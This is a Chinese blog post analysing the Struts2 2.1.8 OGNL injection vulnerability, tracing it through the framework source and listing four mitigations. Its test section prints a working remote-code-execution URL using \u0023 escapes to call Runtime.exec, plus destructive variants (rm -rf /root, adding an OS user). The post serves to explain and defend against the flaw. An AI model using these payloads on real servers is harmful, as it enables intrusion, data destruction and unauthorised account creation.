Struts2.1.8 Ognl 漏洞浅析和解决方案,


前面的话

  工作了好几点,一直都没有认认真真的去写过什么东西,趁着最近这段时间有空,总结一下这几年在工作中的一些经验,尤其是Struts2 Ognl 漏洞,当年不知道影响了多少个互联网企业。现在把他记录下来,作为对几年工作的一个回忆吧。
  如果您是对Struts2不熟悉,又想测试Struts2 Ognl 漏洞的读者,请下先移步到Struts2 入门示例,里面有一个简单的Struts示例, 正好也是基于Struts2.1.8的一个示例,非常适合测试Struts2.1.8 Ognl 漏洞。

漏洞浅析

  我们看看是那一段代码引起的这个漏洞,经过测试分析源码知道。当Struts2获取前台所传参数的内容的时候,他会先获得用户提交的参数名,然后从值栈(Value Stack)中找到符合参数值的内容,并打印。
  其中ValueStack的findValue方法是关键点,我们看一下Value Stack类中定义的方法。

public interface ValueStack{
    public abstract String findString(String expr);
    public abstract String findString(String expr, boolean throwExceptionOnFailure);

    /**
     * Find a value by evaluating the given expression against the stack in the default search order.
     *
     * @param expr the expression giving the path of properties to navigate to find the property value to return
     * @return the result of evaluating the expression
     */
    public abstract Object findValue(String expr);

    public abstract Object findValue(String expr, boolean throwExceptionOnFailure);

    /**
     * Find a value by evaluating the given expression against the stack in the default search order.
     *
     * @param expr   the expression giving the path of properties to navigate to find the property value to return
     * @param asType the type to convert the return value to
     * @return the result of evaluating the expression
     */
    public abstract Object findValue(String expr, Class asType);
    public abstract Object findValue(String expr, Class asType,  boolean throwExceptionOnFailure);
}

  我们可以看到findValue()有三个参数:

   expr 客户所传参数的表达式,   
  asType 参数的表达式需要转换的类类型,   
  throwExceptionOnFailure: 失败都是时候是否抛出异常

  我们下面在看一下ValueStack类的实现类OgnlValueStack中的findValue的实现方法:

 public Object findValue(String expr, Class asType, boolean throwExceptionOnFailure) {
        try {
            if (expr == null) {
                return null;
            }

            if ((overrides != null) && overrides.containsKey(expr)) {
                expr = (String) overrides.get(expr);
            }
            // 这一步才是漏洞的关键所在
            Object value = ognlUtil.getValue(expr, context, root, asType);
            if (value != null) {
                return value;
            } else {
                checkForInvalidProperties(expr, throwExceptionOnFailure, throwExceptionOnFailure);
                return findInContext(expr);
            }
        } catch (OgnlException e) {
            checkForInvalidProperties(expr, throwExceptionOnFailure, throwExceptionOnFailure);
            return findInContext(expr);
        } catch (Exception e) {
            logLookupFailure(expr, e);

            if (throwExceptionOnFailure)
                throw new XWorkException(e);

            return findInContext(expr);
        } finally {
            ReflectionContextState.clear(context);
        }
    }

  该方法中调用了

Object value = ognlUtil.getValue(expr, context, root);

  继续深入追踪进入OgnlUtil文件,看到如下代码:

public Object getValue(String name, Map context, Object root) throws OgnlException {
    return Ognl.getValue(compile(name), context, root);
}

  最后可以看到OgnlUtil类的compile, 这一步居然执行了表达式:

 public Object compile(String expression) throws OgnlException {
        if (enableExpressionCache) {
            Object o = expressions.get(expression);
            if (o == null) {
                o = Ognl.parseExpression(expression);
                expressions.put(expression, o);
            }
            return o;
        } else
            return Ognl.parseExpression(expression);
    }

  看完了源码我们知道,Ognl.getValue()方法的作用,它根据表达式(参数1),在上下文(参数2)和指定类中(参数3)查找响应的内容,并返回,若没有则返回空。在查询的过程中,表达式会被执行,这才使得攻击者有可乘之机,利用这个方法来执行一些恶意的行为。

测试漏洞

  我们可以在浏览器中输入如下Url:http://localhost:8080/Struts2Ongl/login.action?redirect:%25{3-4}
  如果浏览器上显示:http://localhost:8080/Struts2Ongl/login.action?-1 , 则说明该Struts2版本存在ognl表达式漏洞,因为参数后面的表达式被执行了。
  如果浏览器上显示:http://localhost:8080/Struts2Ongl/login.action?redirect:%25{3-4},则说明该Struts2版本不存在ognl表达式漏洞,它没有执行参数后面的表达式。
  
  Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
  ?user.address.city=Bishkek&user[‘favoriteDrink’]=kumys
  
  ONGL将它转换为(如下java代码):
  action.getUser().getAddress().setCity(“Bishkek”) ;
  action.getUser().setFavoriteDrink(“kumys”) ;

  这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
  为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护。
  以下Url请求代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击。

http://localhost:8080/Struts2Ongl/login.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(a)=true
&(b)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023zzz')
(\u0023zzz\u003dnew%20java.lang.Boolean("false")))
&(c)(@java.lang.Runtime@getRuntime().exec("calc"))

  转义后Url如下:

http://localhost:8080/Struts2Ongl/login.action?('#_memberAccess['allowStaticMethodAccess']')(a)=true
&(b)(('#context['xwork.MethodAccessor.denyMethodExecution']=#zzz')
(#zzz=new%20java.lang.Boolean("false")))
&(c)(('#rt.exec("calc")')(#rt=@java.lang.Runtime@getRuntime()))=1  

  OGNL处理时最终的结果就是执行一下代码:

java.lang.Runtime.getRuntime().exec("calc");  

  在windows下的演示效果便是弹出了计算器
  

  类似的可以执行如下代码:

java.lang.Runtime.getRuntime().exec("rm –rf /root")  
,只要有权限就可以删除任何一个目录。 
java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)

  后果是相当可怕

解决方案

  大概有四种解决方案,方案如下。建议使用第四中方案。
  1.升级到struts2.2版本。
  这个可以避免这个问题,经测试发现新版本虽然解决了上述的漏洞,但是新的问题是strus标签出问题了。

<s:bean id="Test" name="cn.com.Test"></s:bean>   
<s:property value="#Test.getType().get(cType.toString())" /> 

  这样的标签在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的问题导致的,补了漏洞,正常的使用也用不了了。
所以sebug网站上的建议升级到2.2版本是不可行的。

  2.struts参数过滤。

<interceptor-ref name="params">   
<param name="excludeParams">.*\\u0023.*</param>   
</interceptor-ref>  

  这个可以解决漏洞问题,缺点是工作量大,每个项目都得改struts配置文件。如果项目里,是引用的一个类似global.xml的配置文件,工作量相应减少一些。

  3.在前端请求进行过滤。
  比如在ngnix,apache进行拦截,参数中带有\u0023的一律视为攻击,跳转到404页面或者别的什么页面。这样做的一个前提就是没人把#号转码后作为参数传递。
  请求如果是get方式,可以进行过滤,如果是post方式就过滤不到了,所以还是应该修改配置文件或更新新的jar包。
 
  4、全面升级。struts2.1.8.1升级至2.3.24  

  • 1、新增JAR包:commons-lang3-3.2.jar 和 javassist-3.11.0.GA.jar
  • 2、替换JAR包:
    commons-fileupload-1.2.1.jar —->commons-fileupload-1.3.1.jar
    commons-io-1.3.2.jar —–>commons-io-2.2.jar
    freemarker-2.3.15.jar —->freemarker-2.3.22.jar
    ognl-2.7.3.jar —-> ognl-3.0.6.jar
    struts2-core-2.1.8.1.jar —-> struts2-core-2.3.24.jar
    xwork-core-2.1.6.jar —–> xwork-core-2.3.24.jar
  • 3、保留原有的commons-lang.jar,org.apache.commons.lang.StringUtils类被org.apache.commons.lang3.StringUtils替换了
  • 4、修改web.xml, 将org.apache.struts2.dispatcher.FilterDispatcher 改为 org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter

相关内容

    暂无相关文章